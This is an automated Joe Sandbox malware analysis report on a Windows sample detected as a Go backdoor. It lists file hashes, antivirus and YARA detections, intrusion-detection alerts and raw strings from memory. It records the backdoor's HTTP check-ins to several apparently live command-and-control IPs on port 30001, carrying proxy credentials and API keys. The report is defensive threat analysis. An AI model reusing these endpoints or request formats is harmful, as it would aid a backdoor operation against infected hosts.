Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe
Analysis ID:	1487581
MD5:	923ec5c02989f28b859f51c6956b5ad1
SHA1:	fc483ecce6307a9b0feff06876d70ec766d9b3ee
SHA256:	c3c657fa980e2ddcd6fc94d3464fea9816a4d5803c6ec80dee6a8b11fed28d36
Tags:	exe
Infos:

Detection

GO Backdoor

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected GO Backdoor

AI detected suspicious sample

Contains functionality to registers a callback to get notified when the system is suspended or resumed (often done by Miners)

Found Tor onion address

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Contains functionality for execution timing, often used to detect debuggers

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

PE file contains sections with non-standard names

Potential time zone aware malware

Program does not show much activity (idle)

Uses 32bit PE files

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe (PID: 6032 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe" MD5: 923EC5C02989F28B859F51C6956B5AD1)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2157529596.0000000001862000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2157529596.000000000190E000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2159473753.0000000001A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2157529596.000000000186A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2158983127.00000000019BA000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2157529596.0000000001962000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2157529596.0000000001942000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2158983127.00000000019CA000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2157529596.000000000185E000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2157529596.000000000193E000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2157529596.0000000001864000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.2157529596.0000000001946000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe PID: 6032	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
Click to see the 8 entries

Suricata Signatures

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 77.238.224.56

Timestamp:	2024-08-04T16:24:40.998313+0200
SID:	2855478
Source Port:	49722
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 195.2.70.38

Timestamp:	2024-08-04T16:24:06.080353+0200
SID:	2855478
Source Port:	49714
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 77.238.229.63

Timestamp:	2024-08-04T16:23:34.717759+0200
SID:	2855478
Source Port:	49707
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 91.142.74.28

Timestamp:	2024-08-04T16:24:06.805111+0200
SID:	2855478
Source Port:	49715
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 195.2.70.38

Timestamp:	2024-08-04T16:23:32.518956+0200
SID:	2855478
Source Port:	49704
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 77.238.224.56

Timestamp:	2024-08-04T16:23:34.058919+0200
SID:	2855478
Source Port:	49706
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 77.238.224.56

Timestamp:	2024-08-04T16:24:07.438094+0200
SID:	2855478
Source Port:	49716
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 91.142.74.28

Timestamp:	2024-08-04T16:24:40.222640+0200
SID:	2855478
Source Port:	49721
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 195.2.70.38

Timestamp:	2024-08-04T16:24:39.462818+0200
SID:	2855478
Source Port:	49720
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 77.238.250.123

Timestamp:	2024-08-04T16:24:08.664821+0200
SID:	2855478
Source Port:	49718
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 77.238.229.63

Timestamp:	2024-08-04T16:24:08.071255+0200
SID:	2855478
Source Port:	49717
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 77.238.250.123

Timestamp:	2024-08-04T16:23:35.289841+0200
SID:	2855478
Source Port:	49708
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Unknown Golang Backdoor Activity - Source IP: 192.168.2.8 - Destination IP: 91.142.74.28

Timestamp:	2024-08-04T16:23:33.396540+0200
SID:	2855478
Source Port:	49705
Destination Port:	30001
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

• AV Detection
• Bitcoin Miner
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://195.2.70.38:30001/api/helper-first-register?	Avira URL Cloud: Label: malware
Source: http://195.2.70.38:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW	Avira URL Cloud: Label: malware
Source: http://195.2.70.38:30001/api/helper-first-register	Avira URL Cloud: Label: malware
Source: http://195.2.70.38:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859	Avira URL Cloud: Label: malware
Source: http://195.2.70.38:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: http://195.2.70.38:30001/api/helper-first-register?	Virustotal: Detection: 5%			Perma Link
Source: http://195.2.70.38:30001/api/helper-first-register	Virustotal: Detection: 5%			Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	ReversingLabs: Detection: 42%
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Virustotal: Detection: 64%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.2% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Joe Sandbox ML: detected

Bitcoin Miner

Contains functionality to registers a callback to get notified when the system is suspended or resumed (often done by Miners)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Code function: 0_2_00390D70 LoadLibraryExW,

0_2_00390D70

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 4x nop then mov ebp, edi	0_2_003632A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 4x nop then mov dword ptr [esp], edx	0_2_0037E6C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 4x nop then shr ecx, 0Dh	0_2_00389A40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 4x nop then shr ebp, 0Dh	0_2_00388FD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 4x nop then mov ebp, edi	0_1_003632A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 4x nop then mov dword ptr [esp], edx	0_1_0037E6C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 4x nop then shr ecx, 0Dh	0_1_00389A40

Networking

Found Tor onion address

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000000.1462845872.0000000000763000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: GoneopenStat.com.bat.cmdnullbooljson'\''quit3125Atoiint8uintchanfunccallkind != ermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--AhomChamKawiLisuMiaoModiNewaThaiTotoDashasn1tag:MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalfalse<nil>ErrordefersweeptestRtestWexecWexecRschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]fileshttpsimap2imap3imapspop3shostswriteclose&"':**@Rangeallowrange:path%s %q%s=%sHTTP/%s:%dsocksFoundchdirLstatarrayyamuxlocalparsentohs1562578125int16int32int64uint8slicesse41sse42ssse3 (at TypeAClasstls: Early.avif.html.jpeg.json.wasm.webputf-8%s%dtext/Realmbad nAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermSHA-1P-224P-256P-384P-521ECDSAupdatekilleduserIdconfigSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondStringFormat[]bytestringsysmontimersefenceselect, not objectstatusnetdnsdomaingophertelnet.locallisten.onionip+netreturnsocketacceptClosedCANCELGOAWAYPADDEDactiveclosedsocks5Basic CookiecookieexpectoriginserverExpectPragmasocks Lockedrenameexec: remotehangup Value390625uint16uint32uint64structchan<-<-chanrdtscppopcntcmd/go, val TypeNSTypeMXheaderAnswerLengthGetACPX25519%w%.0wtls13 AcceptServerArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenSTREETTuesdayJanuaryOctoberMUI_StdMUI_Dltfloat32float64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningUNKNOWN:eventswindowswsarecvwsasendconnectopenbsdlookup writetoUpgradeHEADERSTrailerReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUG:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTconsolePATHEXTrefused\\.\UNCabortedCopySidWSARecvWSASendsignal Swapper19531259765625invaliduintptrChanDir Value>Convertavx512fos/execruntime::ffff:nil keyTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLanswersderivedInitialExpiresSubjectutf-8''charsetAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: GoneopenStat.com.bat.cmdnullbooljson'\''quit3125Atoiint8uintchanfunccallkind != ermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--AhomChamKawiLisuMiaoModiNewaThaiTotoDashasn1tag:MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalfalse<nil>ErrordefersweeptestRtestWexecWexecRschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]fileshttpsimap2imap3imapspop3shostswriteclose&"':**@Rangeallowrange:path%s %q%s=%sHTTP/%s:%dsocksFoundchdirLstatarrayyamuxlocalparsentohs1562578125int16int32int64uint8slicesse41sse42ssse3 (at TypeAClasstls: Early.avif.html.jpeg.json.wasm.webputf-8%s%dtext/Realmbad nAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermSHA-1P-224P-256P-384P-521ECDSAupdatekilleduserIdconfigSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondStringFormat[]bytestringsysmontimersefenceselect, not objectstatusnetdnsdomaingophertelnet.locallisten.onionip+netreturnsocketacceptClosedCANCELGOAWAYPADDEDactiveclosedsocks5Basic CookiecookieexpectoriginserverExpectPragmasocks Lockedrenameexec: remotehangup Value390625uint16uint32uint64structchan<-<-chanrdtscppopcntcmd/go, val TypeNSTypeMXheaderAnswerLengthGetACPX25519%w%.0wtls13 AcceptServerArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenSTREETTuesdayJanuaryOctoberMUI_StdMUI_Dltfloat32float64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningUNKNOWN:eventswindowswsarecvwsasendconnectopenbsdlookup writetoUpgradeHEADERSTrailerReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUG:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTconsolePATHEXTrefused\\.\UNCabortedCopySidWSARecvWSASendsignal Swapper19531259765625invaliduintptrChanDir Value>Convertavx512fos/execruntime::ffff:nil keyTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLanswersderivedInitialExpiresSubjectutf-8''charsetAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49722

Source: global traffic	TCP traffic: 192.168.2.8:49704 -> 195.2.70.38:30001
Source: global traffic	TCP traffic: 192.168.2.8:49705 -> 91.142.74.28:30001
Source: global traffic	TCP traffic: 192.168.2.8:49706 -> 77.238.224.56:30001
Source: global traffic	TCP traffic: 192.168.2.8:49707 -> 77.238.229.63:30001
Source: global traffic	TCP traffic: 192.168.2.8:49708 -> 77.238.250.123:30001

Source: Joe Sandbox View	IP Address: 91.142.74.28 91.142.74.28
Source: Joe Sandbox View	IP Address: 77.238.229.63 77.238.229.63

Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63

Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 195.2.70.38:30001User-Agent: Go-http-client/1.1X-Api-Key: q5GB4kPCAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 91.142.74.28:30001User-Agent: Go-http-client/1.1X-Api-Key: IEr8ObJLAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 77.238.224.56:30001User-Agent: Go-http-client/1.1X-Api-Key: oWemEAaDAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 77.238.229.63:30001User-Agent: Go-http-client/1.1X-Api-Key: qaG5VsBPAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 77.238.250.123:30001User-Agent: Go-http-client/1.1X-Api-Key: g1eMZ8FgAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 195.2.70.38:30001User-Agent: Go-http-client/1.1X-Api-Key: LPwitJ4HAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 91.142.74.28:30001User-Agent: Go-http-client/1.1X-Api-Key: JStZJSWtAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 77.238.224.56:30001User-Agent: Go-http-client/1.1X-Api-Key: US01QypYAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 77.238.229.63:30001User-Agent: Go-http-client/1.1X-Api-Key: qxCPMJ77Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 77.238.250.123:30001User-Agent: Go-http-client/1.1X-Api-Key: DbSoScCpAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 195.2.70.38:30001User-Agent: Go-http-client/1.1X-Api-Key: tzEvgVwAAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 91.142.74.28:30001User-Agent: Go-http-client/1.1X-Api-Key: JBO2t1wnAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1Host: 77.238.224.56:30001User-Agent: Go-http-client/1.1X-Api-Key: dzQpInVpAccept-Encoding: gzip

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001884000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38:30001/api/helper-first-register
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38:30001/api/helper-first-register?
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001996000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001994000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001814000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018F4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38:30001195.2.70.38:30001
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001814000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018F4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38:30001195.2.70.38:300011u
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001994000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38:30001195.2.70.38:30001HTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyNO_PROXYno_proxyw
